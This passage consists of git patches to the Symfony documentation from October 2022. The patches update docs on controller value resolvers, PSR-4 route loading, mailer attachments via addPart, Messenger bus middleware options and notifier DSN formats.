-                https://symfony.com/schema/dic/symfony_extra/symfony_extra-1.0.xsd">
-
-            <sensio-framework-extra:config>
-                <request converters="true" auto-convert="false"/>
-            </sensio-framework-extra:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/sensio_framework_extra.php
-        $container->loadFromExtension('sensio_framework_extra', [
-            'request' => [
-                'converters' => true,
-                'auto_convert' => false,
-            ],
-        ]);
+    The ``ValueResolverInterface`` was introduced in Symfony 6.2. Prior to
+    6.2, you had to use the
+    :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface`,
+    which defines different methods.
 
 Adding a new value resolver requires creating a class that implements
-:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface`
-and defining a service for it. The interface defines two methods:
-
-``supports()``
-    This method is used to check whether the value resolver supports the
-    given argument. ``resolve()`` will only be called when this returns ``true``.
-``resolve()``
-    This method will resolve the actual value for the argument. Once the value
-    is resolved, you must `yield`_ the value to the ``ArgumentResolver``.
+:class:`Symfony\\Component\\HttpKernel\\Controller\\ValueResolverInterface`
+and defining a service for it.
 
-Both methods get the ``Request`` object, which is the current request, and an
+This interface contains a ``resolve()`` method, which is called for each
+argument of the controller. It receives the current ``Request`` object and an
 :class:`Symfony\\Component\\HttpKernel\\ControllerMetadata\\ArgumentMetadata`
-instance. This object contains all information retrieved from the method signature
-for the current argument.
+instance, which contains all information from the method signature. The
+method should return either an empty array (if it cannot resolve this
+argument) or an array with the resolved value(s).
 
-Now that you know what to do, you can implement this interface. To get the
-current ``User``, you need the current security token. This token can be
-retrieved from the token storage::
+.. code-block:: php
 
-    // src/ArgumentResolver/UserValueResolver.php
-    namespace App\ArgumentResolver;
+    // src/ValueResolver/IdentifierValueResolver.php
+    namespace App\ValueResolver;
 
-    use App\Entity\User;
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use App\IdentifierInterface;
     use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface;
+    use Symfony\Component\HttpKernel\Controller\ValueResolverInterface;
     use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata;
 
-    class UserValueResolver implements ArgumentValueResolverInterface
+    class UserValueResolver implements ValueResolverInterface
     {
-        private $security;
-
-        public function __construct(Security $security)
+        public function resolve(Request $request, ArgumentMetadata $argument): array
         {
-            $this->security = $security;
-        }
-
-        public function supports(Request $request, ArgumentMetadata $argument): bool
-        {
-            if (User::class !== $argument->getType()) {
-                return false;
+            // get the argument type (e.g. BookingId)
+            $argumentType = $argument->getType();
+            if (
+                !$argumentType
+                || !is_subclass_of($argumentType, IdentifierInterface::class, true)
+            ) {
+                return [];
             }
 
-            return $this->security->getUser() instanceof User;
-        }
+            // get the value from the request, based on the argument name
+            $value = $request->attributes->get($argument->getName());
+            if (!is_string($value)) {
+                return [];
+            }
 
-        public function resolve(Request $request, ArgumentMetadata $argument): iterable
-        {
-            yield $this->security->getUser();
+            // create and return the value object
+            return [$argumentType::fromString($value)];
         }
     }
 
-In order to get the actual ``User`` object in your argument, the given value
-must fulfill the following requirements:
+This method first checks whether it can resolve the value:
 
-* An argument must be type-hinted as ``User`` in your action method signature;
-* The value must be an instance of the ``User`` class.
+* The argument must be type-hinted with a class implementing a custom ``IdentifierInterface``;
+* The argument name (e.g. ``$id``) must match the name of a request
+  attribute (e.g. using a ``/booking/{id}`` route placeholder).
 
-When all those requirements are met and ``true`` is returned, the
-``ArgumentResolver`` calls ``resolve()`` with the same values as it called
-``supports()``.
+When those requirements are met, the method creates a new instance of the
+custom value object and returns it as the value for this argument.
 
 That's it! Now all you have to do is add the configuration for the service
 container. This can be done by tagging the service with ``controller.argument_value_resolver``
-and adding a priority.
+and adding a priority:
 
 .. configuration-block::
 
@@ -308,7 +264,7 @@ and adding a priority.
 
             App\ArgumentResolver\UserValueResolver:
                 tags:
-                    - { name: controller.argument_value_resolver, priority: 50 }
+                    - { name: controller.argument_value_resolver, priority: 150 }
 
     .. code-block:: xml
 
@@ -325,7 +281,7 @@ and adding a priority.
                 <!-- ... -->
 
                 <service id="App\ArgumentResolver\UserValueResolver">
-                    <tag name="controller.argument_value_resolver" priority="50"/>
+                    <tag name="controller.argument_value_resolver" priority="150"/>
                 </service>
             </services>
 
@@ -342,7 +298,7 @@ and adding a priority.
             $services = $configurator->services();
 
             $services->set(UserValueResolver::class)
-                ->tag('controller.argument_value_resolver', ['priority' => 50])
+                ->tag('controller.argument_value_resolver', ['priority' => 150])
             ;
         };
 
@@ -351,26 +307,11 @@ the expected value is injected. The built-in ``RequestAttributeValueResolver``,
 which fetches attributes from the ``Request``, has a priority of ``100``. If your
 resolver also fetches ``Request`` attributes, set a priority of ``100`` or more.
 Otherwise, set a priority lower than ``100`` to make sure the argument resolver
-is not triggered when the ``Request`` attribute is present (for example, when
-passing the user along sub-requests).
+is not triggered when the ``Request`` attribute is present.
 
 To ensure your resolvers are added in the right position you can run the following
-command to see which argument resolvers are present and in which order they run.
+command to see which argument resolvers are present and in which order they run:
 
 .. code-block:: terminal
 
     $ php bin/console debug:container debug.argument_resolver.inner --show-arguments
-
-.. tip::
-
-    As you can see in the ``UserValueResolver::supports()`` method, the user
-    may not be available (e.g. when the controller is not behind a firewall).
-    In these cases, the resolver will not be executed. If no argument value
-    is resolved, an exception will be thrown.
-
-    To prevent this, you can add a default value in the controller (e.g. ``User
-    $user = null``). The ``DefaultValueResolver`` is executed as the last
-    resolver and will use the default value if no value was already resolved.
-
-.. _`#[ParamConverter]`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
-.. _`yield`: https://www.php.net/manual/en/language.generators.syntax.php

From 5029cb2289966617cfe80c30c2537a7e29af3a98 Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@protonmail.com>
Date: Wed, 19 Oct 2022 15:07:52 +0200
Subject: [PATCH 2446/5766] Add new cases covered by PhpAstExtractor

---
 translation.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/translation.rst b/translation.rst
index aea4501b593..2e0fa9ebf45 100644
--- a/translation.rst
+++ b/translation.rst
@@ -476,6 +476,8 @@ The ``translation:extract`` command looks for missing translations in:
 * Any PHP file/class stored in the ``src/`` directory that creates
   :ref:`translatable-objects` using the constructor or the ``t()`` method or calls
   the ``trans()`` method.
+* Any PHP file/class stored in the ``src/`` directory that uses
+  :ref:`Constraints Attributes <validation-constraints>`  with ``*message`` named argument(s).
 
 .. _translation-resource-locations:
 

From b532f3751e0296d2d8078afa21038c86f4d55e93 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Wed, 19 Oct 2022 15:40:15 +0200
Subject: [PATCH 2447/5766] [Notifier] Update FreeMobile DSN

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index b6a76ad86a1..40d3a80a027 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -71,7 +71,7 @@ AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_
 Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
 Esendex         ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
-FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
+FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:API_KEY@default?phone=PHONE``
 GatewayApi      ``symfony/gateway-api-notifier``      ``gatewayapi://TOKEN@default?from=FROM``
 Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
 Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``

From 43e70430718b66b86c48aae9df22f724d5e4934a Mon Sep 17 00:00:00 2001
From: fullbl <8133457+fullbl@users.noreply.github.com>
Date: Wed, 19 Oct 2022 12:56:17 +0200
Subject: [PATCH 2448/5766] Correct time type return

time function returns an int, while DateTime::createFromFormat requires a string!
---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 934c425d368..cb77a1e376f 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -500,7 +500,7 @@ is mocked so it uses the mocked time if no timestamp is specified.
 Other functions with an optional timestamp parameter that defaults to ``time()``
 will still use the system time instead of the mocked time. This means that you
 may need to change some code in your tests. For example, instead of ``new DateTime()``,
-you should use ``DateTime::createFromFormat('U', time())`` to use the mocked
+you should use ``DateTime::createFromFormat('U', (string) time())`` to use the mocked
 ``time()`` function.
 
 To use the ``ClockMock`` class in your test, add the ``@group time-sensitive``

From 7ad5d9f5be6a9c60218930e13d9c7b2e5f5cd082 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 9 Aug 2022 23:12:37 +0200
Subject: [PATCH 2449/5766] [Security] Adding info where login attempts are
 stored

---
 rate_limiter.rst | 2 ++
 security.rst     | 4 ++++
 2 files changed, 6 insertions(+)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index c468025dc17..a99c01191af 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -360,6 +360,8 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
         }
     }
 
+.. _rate-limiter-storage:
+
 Storing Rate Limiter State
 --------------------------
 
diff --git a/security.rst b/security.rst
index e253dc68013..583f5e19f9a 100644
--- a/security.rst
+++ b/security.rst
@@ -1462,6 +1462,10 @@ You must enable this using the ``login_throttling`` setting:
 
     The ``login_throttling.interval`` option was introduced in Symfony 5.3.
 
+Internally, Symfony uses the :doc:`Rate Limiter component </rate_limiter>`
+which by default uses Symfony's cache to store the previous login attempts.
+However, you can implement a :ref:`custom storage <rate-limiter-storage>`.
+
 Login attempts are limited on ``max_attempts`` (default: 5)
 failed requests for ``IP address + username`` and ``5 * max_attempts``
 failed requests for ``IP address``. The second limit protects against an

From ac2f7934fa8d246653b6528391f05dfe1807c616 Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Wed, 19 Oct 2022 17:34:45 +0200
Subject: [PATCH 2450/5766] Document the PSR-4 route loader

---
 routing.rst                     | 17 ++++++++++++-----
 routing/custom_route_loader.rst | 31 ++++++++++++++++++++++++++++++-
 2 files changed, 42 insertions(+), 6 deletions(-)

diff --git a/routing.rst b/routing.rst
index 72534ea3d00..b0ebdf341f8 100644
--- a/routing.rst
+++ b/routing.rst
@@ -37,15 +37,22 @@ Otherwise, create the following file manually:
     # config/routes/attributes.yaml
     controllers:
         resource: ../../src/Controller/
-        type: attribute
+        type: attribute@App\Controller
 
     kernel:
-        resource: ../../src/Kernel.php
+        resource: App\Kernel
         type: attribute
 
-This configuration tells Symfony to look for routes defined as
-attributes in any PHP class stored in the ``src/Controller/``
-directory.
+This configuration tells Symfony to look for routes defined as attributes on
+classes declared in the ``App\Controller`` namespace which are stored in the
+``src/Controller/`` directory which follows the PSR-4 standard. In addition,
+our kernel can act as a controller as well which is especially useful for small
+applications that use Symfony as a microframework.
+
+.. versionadded:: 6.2
+
+    The possibility to suffix the ``attribute`` resource type with a PSR-4
+    namespace root was introduced in Symfony 6.2.
 
 Suppose you want to define a route for the ``/blog`` URL in your application. To
 do so, create a :doc:`controller class </controller>` like the following:
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 7dd81a0f8b5..12538a78311 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -24,11 +24,21 @@ Symfony provides several route loaders for the most common needs:
             # loads routes from the given routing file stored in some bundle
             resource: '@AcmeBundle/Resources/config/routing.yaml'
 
+        app_psr4:
+            # loads routes from the PHP attributes of the controllers found in the given PSR-4 namespace root
+            resource: '../src/Controller/'
+            type:     attribute@App\Controller
+
         app_attributes:
             # loads routes from the PHP attributes of the controllers found in that directory
             resource: '../src/Controller/'
             type:     attribute
 
+        app_class_attributes:
+            # loads routes from the PHP attributes of the given class
+            resource: App\Controller\MyController
+            type:     attribute
+
         app_directory:
             # loads routes from the YAML, XML or PHP files found in that directory
             resource: '../legacy/routing/'
@@ -51,9 +61,15 @@ Symfony provides several route loaders for the most common needs:
             <!-- loads routes from the given routing file stored in some bundle -->
             <import resource="@AcmeBundle/Resources/config/routing.yaml"/>
 
+            <!-- loads routes from the PHP attributes of the controllers found in the given PSR-4 namespace root -->
+            <import resource="../src/Controller/" type="attribute@App\Controller"/>
+
             <!-- loads routes from the PHP attributes of the controllers found in that directory -->
             <import resource="../src/Controller/" type="attribute"/>
 
+            <!-- loads routes from the PHP attributes of the given class -->
+            <import resource="App\Controller\MyController" type="attribute"/>
+
             <!-- loads routes from the YAML or XML files found in that directory -->
             <import resource="../legacy/routing/" type="directory"/>
 
@@ -70,9 +86,17 @@ Symfony provides several route loaders for the most common needs:
             // loads routes from the given routing file stored in some bundle
             $routes->import('@AcmeBundle/Resources/config/routing.yaml');
 
-            // loads routes from the PHP attributes (#[Route(...)]) of the controllers found in that directory
+            // loads routes from the PHP attributes (#[Route(...)])
+            // of the controllers found in the given PSR-4 namespace root
+            $routes->import('../src/Controller/', 'attribute@App\Controller');
+
+            // loads routes from the PHP attributes (#[Route(...)])
+            // of the controllers found in that directory
             $routes->import('../src/Controller/', 'attribute');
 
+            // loads routes from the PHP attributes (#[Route(...)]) of the given class
+            $routes->import('App\Controller\MyController', 'attribute');
+
             // loads routes from the YAML or XML files found in that directory
             $routes->import('../legacy/routing/', 'directory');
 
@@ -85,6 +109,11 @@ Symfony provides several route loaders for the most common needs:
     The ``attribute`` value of the second argument of ``import()`` was introduced
     in Symfony 6.1.
 
+.. versionadded:: 6.2
+
+    The possibility to suffix the ``attribute`` resource type with a PSR-4
+    namespace root was introduced in Symfony 6.2.
+
 .. note::
 
     When importing resources, the key (e.g. ``app_file``) is the name of the collection.

From 34881a8ab9a8f523cd8bb2a22ed1b15dce02ecee Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <ogizanagi@users.noreply.github.com>
Date: Thu, 20 Oct 2022 10:04:42 +0200
Subject: [PATCH 2451/5766] [Serializer] Fixup attributes import

---
 serializer.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index b37385b2238..1a478df6d0f 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -256,13 +256,14 @@ You can also restrict the usage of a context to some groups::
     namespace App\Model;
 
     use Symfony\Component\Serializer\Annotation\Context;
+    use Symfony\Component\Serializer\Annotation\Groups;
     use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
 
     class Person
     {
-        #[Serializer\Groups(['extended'])]
-        #[Serializer\Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
-        #[Serializer\Context(
+        #[Groups(['extended'])]
+        #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
+        #[Context(
             context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
             groups: ['extended'],
         )]

From f1c2056ece52dfed2e8d760094db3e77740e447b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 20 Oct 2022 13:39:15 +0200
Subject: [PATCH 2452/5766] Add the versionadded directive

---
 translation.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/translation.rst b/translation.rst
index 2e0fa9ebf45..32cbbfb98d2 100644
--- a/translation.rst
+++ b/translation.rst
@@ -479,6 +479,11 @@ The ``translation:extract`` command looks for missing translations in:
 * Any PHP file/class stored in the ``src/`` directory that uses
   :ref:`Constraints Attributes <validation-constraints>`  with ``*message`` named argument(s).
 
+.. versionadded:: 6.2
+
+    The support of PHP files/classes that use constraint attributes was
+    introduced in Symfony 6.2.
+
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations

From 262babab34042927db6d15e38aa8dcfc4e06b8b8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 20 Oct 2022 16:48:07 +0200
Subject: [PATCH 2453/5766] Tweaks

---
 controller/value_resolver.rst | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 7f3ca0a50c2..2ece1fcaa7d 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -200,9 +200,12 @@ and defining a service for it.
 This interface contains a ``resolve()`` method, which is called for each
 argument of the controller. It receives the current ``Request`` object and an
 :class:`Symfony\\Component\\HttpKernel\\ControllerMetadata\\ArgumentMetadata`
-instance, which contains all information from the method signature. The
-method should return either an empty array (if it cannot resolve this
-argument) or an array with the resolved value(s).
+instance, which contains all information from the method signature.
+
+The ``resolve()`` method should return either an empty array (if it cannot resolve
+this argument) or an array with the resolved value(s). Usually arguments are
+resolved as a single value, but variadic arguments require resolving multiple
+values. That's why you must always return an array, even for single values:
 
 .. code-block:: php
 
@@ -214,7 +217,7 @@ argument) or an array with the resolved value(s).
     use Symfony\Component\HttpKernel\Controller\ValueResolverInterface;
     use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata;
 
-    class UserValueResolver implements ValueResolverInterface
+    class BookingIdValueResolver implements ValueResolverInterface
     {
         public function resolve(Request $request, ArgumentMetadata $argument): array
         {

From ebbffc551c3b1f0c6dc11452e9c218794c9d21ef Mon Sep 17 00:00:00 2001
From: "hidde.wieringa" <hidde.wieringa@nedap.com>
Date: Wed, 19 Oct 2022 16:27:34 +0200
Subject: [PATCH 2454/5766] Use `addPart` instead of `embed*` or `attach*`.

---
 mailer.rst | 39 +++++++++++++++++++++++++++------------
 1 file changed, 27 insertions(+), 12 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 6c4531ef19a..7f9d027eb39 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -446,24 +446,31 @@ result of rendering some template) or PHP resources::
 File Attachments
 ~~~~~~~~~~~~~~~~
 
-Use the ``attachFromPath()`` method to attach files that exist on your file system::
+Use the ``addPart()`` method with a ``BodyFile`` to add files that exist on your file system::
 
     $email = (new Email())
         // ...
-        ->attachFromPath('/path/to/documents/terms-of-use.pdf')
+        ->addPart(new DataPart(new BodyFile('/path/to/documents/terms-of-use.pdf')))
         // optionally you can tell email clients to display a custom name for the file
-        ->attachFromPath('/path/to/documents/privacy.pdf', 'Privacy Policy')
+        ->addPart(new DataPart(new BodyFile('/path/to/documents/privacy.pdf', 'Privacy Policy')))
         // optionally you can provide an explicit MIME type (otherwise it's guessed)
-        ->attachFromPath('/path/to/documents/contract.doc', 'Contract', 'application/msword')
+        ->addPart(new DataPart(new BodyFile('/path/to/documents/contract.doc', 'Contract', 'application/msword')))
     ;
 
-Alternatively you can use the ``attach()`` method to attach contents from a stream::
+Alternatively you can attach contents from a stream by passing it directly to the ``DataPart`` ::
 
     $email = (new Email())
         // ...
-        ->attach(fopen('/path/to/documents/contract.doc', 'r'))
+        ->addPart(new DataPart(fopen('/path/to/documents/contract.doc', 'r')))
     ;
 
+.. deprecated:: 6.2
+
+    In Symfony versions previous to 6.2, the methods ``attachFromPath`` and ``attach``
+    could be used to add attachments. These methods have been deprecated and replaced with
+    ``addPart``.
+
+
 Embedding Images
 ~~~~~~~~~~~~~~~~
 
@@ -472,25 +479,27 @@ instead of adding them as attachments. When using Twig to render the email
 contents, as explained :ref:`later in this article <mailer-twig-embedding-images>`,
 the images are embedded automatically. Otherwise, you need to embed them manually.
 
-First, use the ``embed()`` or ``embedFromPath()`` method to add an image from a
+First, use the ``addPart()`` method to add an image from a
 file or stream::
 
     $email = (new Email())
         // ...
         // get the image contents from a PHP resource
-        ->embed(fopen('/path/to/images/logo.png', 'r'), 'logo', 'image/png')
+        ->addPart((new DataPart(fopen('/path/to/images/logo.png', 'r'), 'logo', 'image/png'))->asInline())
         // get the image contents from an existing file
-        ->embedFromPath('/path/to/images/signature.gif', 'footer-signature', 'image/gif')
+        ->addPart((new DataPart(new BodyFile('/path/to/images/signature.gif', 'footer-signature', 'image/gif')))->asInline())
     ;
 
+Use the ``asInline()`` method to embed the content instead of attaching it.
+
 The second optional argument of both methods is the image name ("Content-ID" in
 the MIME standard). Its value is an arbitrary string used later to reference the
 images inside the HTML contents::
 
     $email = (new Email())
         // ...
-        ->embed(fopen('/path/to/images/logo.png', 'r'), 'logo', 'image/png')
-        ->embedFromPath('/path/to/images/signature.gif', 'footer-signature', 'image/gif')
+        ->addPart((new DataPart(fopen('/path/to/images/logo.png', 'r'), 'logo', 'image/png'))->asInline())
+        ->addPart((new DataPart(new BodyFile('/path/to/images/signature.gif', 'footer-signature', 'image/gif')))->asInline())
 
         // reference images using the syntax 'cid:' + "image embed name"
         ->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...')
@@ -503,6 +512,12 @@ images inside the HTML contents::
 
     The support of embedded images as HTML backgrounds was introduced in Symfony 6.1.
 
+.. deprecated:: 6.2
+
+    In Symfony versions previous to 6.2, the methods ``embedFromPath`` and ``embed``
+    could be used to embed images. These methods have been deprecated and replaced with
+    ``addPart`` together with inline ``DataPart``s.
+
 .. _mailer-configure-email-globally:
 
 Configuring Emails Globally
@@ -1489,7 +1504,7 @@ FailedMessageEvent
     {
         // e.g you can get more information on this error when sending an email
         $event->getError();
-        
+
         // do something with the message
     }
 

From e29a87326bb6a90b5984991fc153de1898b35140 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 20 Oct 2022 17:23:19 +0200
Subject: [PATCH 2455/5766] Minor tweak

---
 mailer.rst | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index cb27b4ab878..8c94cc75d1a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -466,10 +466,9 @@ Alternatively you can attach contents from a stream by passing it directly to th
 
 .. deprecated:: 6.2
 
-    In Symfony versions previous to 6.2, the methods ``attachFromPath`` and ``attach``
-    could be used to add attachments. These methods have been deprecated and replaced with
-    ``addPart``.
-
+    In Symfony versions previous to 6.2, the methods ``attachFromPath()`` and
+    ``attach()`` could be used to add attachments. These methods have been
+    deprecated and replaced with ``addPart()``.
 
 Embedding Images
 ~~~~~~~~~~~~~~~~
@@ -514,9 +513,9 @@ images inside the HTML contents::
 
 .. deprecated:: 6.2
 
-    In Symfony versions previous to 6.2, the methods ``embedFromPath`` and ``embed``
-    could be used to embed images. These methods have been deprecated and replaced with
-    ``addPart`` together with inline ``DataPart``s.
+    In Symfony versions previous to 6.2, the methods ``embedFromPath()`` and
+    ``embed()`` could be used to embed images. These methods have been deprecated
+    and replaced with ``addPart()`` together with inline ``DataPart`` objects.
 
 .. _mailer-configure-email-globally:
 

From 4d7398fdc7490b785e24ba4c8700d34c75498da0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20REYNAUD?=
 <jeremy.reynaud@kissthebride.fr>
Date: Fri, 21 Oct 2022 09:19:16 +0200
Subject: [PATCH 2456/5766] #17378: Add documentation for allow_no_senders

---
 messenger/multiple_buses.rst | 22 ++++++++++++++++++----
 1 file changed, 18 insertions(+), 4 deletions(-)

diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 724c58d5e3f..3bab5a69221 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -36,7 +36,12 @@ an **event bus**. The event bus could have zero or more subscribers.
                     event.bus:
                         # the 'allow_no_handlers' middleware allows to have no handler
                         # configured for this bus without throwing an exception
-                        default_middleware: allow_no_handlers
+                        # the 'allow_no_senders' middleware allows to have no sender
+                        # configured for this bus without throwing an exception
+                        default_middleware:
+                            enabled: true
+                            allow_no_handlers: false
+                            allow_no_senders: true
                         middleware:
                             - validation
 
@@ -64,7 +69,10 @@ an **event bus**. The event bus could have zero or more subscribers.
                     </framework:bus>
                     <!-- the 'allow_no_handlers' middleware allows to have no handler
                          configured for this bus without throwing an exception -->
-                    <framework:bus name="event.bus" default-middleware="allow_no_handlers">
+                    <!-- the 'allow_no_senders' middleware allows to have no sender
+                         configured for this bus without throwing an exception -->
+                    <framework:bus name="event.bus">
+                        <framework:default-middleware enabled="true" allow_no_handlers="false" allow_no_senders="true"/>
                         <framework:middleware id="validation"/>
                     </framework:bus>
                 </framework:messenger>
@@ -88,9 +96,15 @@ an **event bus**. The event bus could have zero or more subscribers.
             $queryBus->middleware()->id('validation');
 
             $eventBus = $framework->messenger()->bus('event.bus');
-            // the 'allow_no_handlers' middleware allows to have no handler
+            // the 'allowNoHandlers' middleware allows to have no handler
+            // configured for this bus without throwing an exception
+            // the 'allowNoSenders' middleware allows to have no sender
             // configured for this bus without throwing an exception
-            $eventBus->defaultMiddleware('allow_no_handlers');
+            $eventBus->defaultMiddleware()
+                ->enabled(true)
+                ->allowNoHandlers(false)
+                ->allowNoSenders(true)
+            ;
             $eventBus->middleware()->id('validation');
         };
 

From c0723d4755a6d75b3a5f77886424d6760e9bcba7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Oct 2022 16:19:01 +0200
Subject: [PATCH 2457/5766] Add the versionadded directive

---
 messenger/multiple_buses.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 3bab5a69221..1db16409d0b 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -108,6 +108,10 @@ an **event bus**. The event bus could have zero or more subscribers.
             $eventBus->middleware()->id('validation');
         };
 
+.. versionadded:: 6.2
+
+    The ``allow_no_senders`` option was introduced in Symfony 6.2.
+
 This will create three new services:
 
 * ``command.bus``: autowireable with the :class:`Symfony\\Component\\Messenger\\MessageBusInterface`

From c9f83a48d8db21237af543f68f8b06f648d92226 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Oct 2022 17:00:25 +0200
Subject: [PATCH 2458/5766] [DependencyInjecion] Mention that service
 definitions replace previous ones

---
 service_container.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index d12f8604bfd..1b648050e7c 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -178,6 +178,9 @@ each time you ask for it.
                         - '../src/Entity/'
                         - '../src/Kernel.php'
 
+                # order is important in this file because service definitions
+                # always *replace* previous ones; add your own service configuration below
+
                 # ...
 
         .. code-block:: xml
@@ -197,6 +200,9 @@ each time you ask for it.
                     <!-- this creates a service per class whose id is the fully-qualified class name -->
                     <prototype namespace="App\" resource="../src/" exclude="../src/{DependencyInjection,Entity,Kernel.php}"/>
 
+                    <!-- order is important in this file because service definitions
+                         always *replace* previous ones; add your own service configuration below -->
+
                     <!-- ... -->
 
                 </services>
@@ -219,6 +225,9 @@ each time you ask for it.
                 // this creates a service per class whose id is the fully-qualified class name
                 $services->load('App\\', '../src/')
                     ->exclude('../src/{DependencyInjection,Entity,Kernel.php}');
+
+                // order is important in this file because service definitions
+                // always *replace* previous ones; add your own service configuration below
             };
 
     .. tip::

From c69ec43a0afcaa7f451242edd147febd1419be0f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Oct 2022 17:21:38 +0200
Subject: [PATCH 2459/5766] Tweaks

---
 components/serializer.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 3664fb0e72a..0928866f5e9 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1080,8 +1080,9 @@ always as a collection.
     behavior can be changed with the optional context key ``XmlEncoder::DECODER_IGNORED_NODE_TYPES``.
 
     Data with ``#comment`` keys are encoded to XML comments by default. This can be
-    changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES`` key of the ``$defaultContext``  of the
-    ``XmlEncoder`` class constructor or directly to the encode() method's $context argument.
+    changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES``
+    key of the ``$defaultContext`` of the ``XmlEncoder`` constructor or
+    directly to the ``$context`` argument of the ``encode()`` method::
     
         $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]);
 

From f1467e7faef3ed965c0e0167b1d2a6818961fe98 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sat, 22 Oct 2022 00:49:02 +0200
Subject: [PATCH 2460/5766] Fix the Security\Helper namespace

---
 form/dynamic_form_modification.rst |  4 ++--
 security.rst                       | 28 ++++++++++++++--------------
 security/impersonating_user.rst    |  4 ++--
 security/voters.rst                |  2 +-
 session/proxy_examples.rst         |  2 +-
 5 files changed, 20 insertions(+), 20 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index bf37ae429ef..7f51249b731 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -233,7 +233,7 @@ The problem is now to get the current user and create a choice field that
 contains only this user's friends. This can be done by injecting the ``Security``
 service into the form type so you can get the current user object::
 
